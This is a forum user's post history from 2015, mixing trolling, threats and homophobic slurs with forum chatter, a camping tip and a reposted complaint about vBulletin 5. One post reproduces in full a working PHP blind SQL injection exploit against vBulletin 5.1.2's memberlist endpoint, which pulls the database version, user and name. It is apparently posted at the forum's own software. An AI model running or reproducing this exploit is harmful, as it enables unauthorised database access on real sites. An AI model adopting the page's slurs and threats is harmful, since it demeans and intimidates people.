User Controls
Posts by -SpectraL
-
2015-07-01 at 11:10 PM UTC in ATTN: Lanny
So far the only coward here is you, i have challenged you on several occasions to show your proficiency in compromising computer systems. Yet you haven't even attempted anything of the sort, thus we can conclude you are too pussy to even try. Carry on fake ass faggot.
I have nothing to prove to you, shit-for-brains, but just cross me once and you'll find out what I can really do.
-
2015-07-01 at 10:36 PM UTC in ATTN: Lanny
Shut up
What's that, rat? I can't hear you over the sound of your cowardly squeaking noises.
-
2015-07-01 at 7:53 PM UTC in ATTN: Lanny
"Posts: 218"
He thought he could get a bolded usertitle at 200. -
2015-07-01 at 6:31 PM UTC in where could I pitch a tent ?Select high ground or the tiniest pinhole in the tent lining will allow water in and you'll be sleeping in water come 3am.
-
2015-07-01 at 5:56 PM UTC in Who was this again? Nostalgia threadGlobal mod MLoR going berserk and deleting forums and banning people and threating to bring in the federalies, then getting himself banned by Jeff Hunter himself, after the community discovered he had wrote on SlashNET that he let a dog lick his asshole (with peanut butter on it) just to see what it felt like. Classic shit right there, folks.
{edit}
Moral of the story? never announce bodily functions on teh Innernetz -
2015-07-01 at 1:50 PM UTC in Can't add empty lines in my postsI need to be able to have an empty line between each of my borderline-incoherent thoughts in order to shitpost properly dammit
I need to be able to have an empty line between each of my borderline-incoherent thoughts in order to shitpost properly dammit
I need to be able to have an empty line between each of my borderline-incoherent thoughts in order to shitpost properly dammit
I need to be able to have an empty line between each of my borderline-incoherent thoughts in order to shitpost properly dammit
I need to be able to have an empty line between each of my borderline-incoherent thoughts in order to shitpost properly dammit -
2015-07-01 at 1:29 PM UTC in Add emoticonsMr Hai is here.
-
2015-07-01 at 5:40 AM UTC in The Way It Really Is[video]https://www.facebook.com/david.markarianii/videos/767501683369639/?fref=nf[/video]
-
2015-07-01 at 5:13 AM UTC in Add emoticons
-
2015-07-01 at 4:44 AM UTC in lanny why have you named your database table and username both VB
<?php
/*
Author: Nytro
Powered by: Romanian Security Team
Price: Free. Educational.
*/
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Get arguments
$target_url = isset($argv[1]) ? $argv[1] : 'https://rstforums.com/v5';
$expression = str_replace('/', '\\/', $target_url);
// Function to send a POST request
function httpPost($url,$params)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Referer: https://rstforums.com/v5/memberlist',
'Accept-Language: en-US,en;q=0.5',
'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
));
$output = curl_exec($ch);
if($output == FALSE) print htmlspecialchars(curl_error($ch));
curl_close($ch);
return $output;
}
// Function to get string between two other strings
function get_string_between($string, $start, $end)
{
$string = " ".$string;
$ini = strpos($string,$start);
if ($ini == 0) return "";
$ini += strlen($start);
$len = strpos($string,$end,$ini) - $ini;
return substr($string,$ini,$len);
}
// Get version
print "\r\nRomanian Security Team - vBulltin 5.1.2 SQL Injection\r\n\r\n";
print "Version: ";
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(),1 ,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
$letter = 1;
while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];
$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version( ),' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
// Get user
print "\r\nUser: ";
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1 ,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
$letter = 1;
while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];
$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
// Get database
print "\r\nDatabse: ";
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(), 1,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
$letter = 1;
while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];
$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(), ' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
print "\r\n"
?> -
2015-07-01 at 4:12 AM UTC in y u use vBulletin 5?[h=1]vBulletin 5 – Years Later…[/h] June 25, 2015 Veritas 0 Comments
[FONT=Open Sans][SIZE=14px] Chronos and I have been busy with real life. Sadly, we both gave up on vBulletin. The once iconic forum platform is now a smoldering piece of dung. No one loves being told their baby is ugly. Sadly, ugly is putting it politely.
We cracked open the mailbag curious to see what’s left of the ashes, and we found no phoenix. Only more scathing letters. We’re adding another one from Will this week.
Sharing my Story
By Will D.
So nearly a decade ago I logged into my first vBulletin and helped a friend run a forum. It was slick, it did it’s job exceptionally well. Around the time vBulletin 4 came out I purchased and configured my first vBulletin forum and ran it for several years without problems. Regular updates went smoothly, bugs were few and far between and in general the product was simply excellent. I’ve since moved in from that community and shut it down, but it was an exceptional experience.
When I started seeing vBulletin 5 Connect advertisements hit my mailbox I checked out the Beta and saw what I expected to be a huge leap forward in the CMS/Forum software. Recently I found myself needing to setup a CMS and Forums for a non profit and wanted something I was relatively familiar with and would be rock solid. Without a thought I advised we purchase vBulletin 5 Connect assuming it would be vBulletin 4’s feature set improved/expanded…
The product having been released for nearly a year, with the current version of 5.0.5, I assumed most of the early adoption pains would be absent, and that I’d be dealing with a rock solid product that was going to make my life easy.
Imagine my disappointment when I find out that two key features, Calendar and CMS were simply left out of the release. The CMS was expected for 5.1.0… which had a very loose ETA of ‘End of 2013′. The Calendar isn’t even planned at this point! I was stunned.
I took a good look and realized I could limp along with their existing features until 5.1.0 released and went ahead setting up my forums. What I didn’t know is the number of ‘bugs’ I’d run into that would qualify as ‘major’ in my mind that vBulletin support simply accepts as facts of life.
Images have no configuration options in posts… they are supposed to, but it will be fixed in 5.1.1… maybe…
Insert a table and it ignores settings you configure in the UI… it looks fine in the WYSIWYG editor and when you click post goes to the most basic table without any options. vBulletin support’s answer to this? They simply say it’s the way CSS and HTML interact and I need to advise users to use the advanced tab and apply formatting that way… yea, good answer.
At present my forums just went live with a small community of users and I’m frankly looking for an alternative that will give me CMS options with a solid Forum backend… once I find this I’ll be buying it out of my own pocket and migrating away from vBulletin forever.
[/SIZE][/FONT]
-
2015-06-30 at 11:46 PM UTC in You're all faggots.Ahhh!! Our old friend Dumpster Slut!!
-
2015-06-30 at 10:03 PM UTC in ppl who wanna fight you over internet bullshitHack4lyfe.
-
2015-06-30 at 10 PM UTC in I'm lost since redfern closed.....
no .
Alrighty, I'll take a stab at Saint then.
-
2015-06-30 at 8:54 PM UTC in I'm lost since redfern closed.....Unstable Matter then.
-
2015-06-30 at 6:05 PM UTC in I'm lost since redfern closed.....
I am, though. Want to find out?
Hello, Psycho. -
2015-06-30 at 5:58 PM UTC in End of the Line?Lanny's TTFN:
Yo, bumbaclots... blood's shutin' dis shit down fo reel... catchoo on da flipsidez -
2015-06-30 at 5:52 PM UTC in I'm lost since redfern closed.....
man up fuck redfern
You're not even scary.
-
2015-06-30 at 3:23 PM UTC in You're all faggots.tl/dr
-
2015-06-30 at 2:51 PM UTC in you MAY have to register in order to post
Everyone is smarter than spectral.
C'mon now.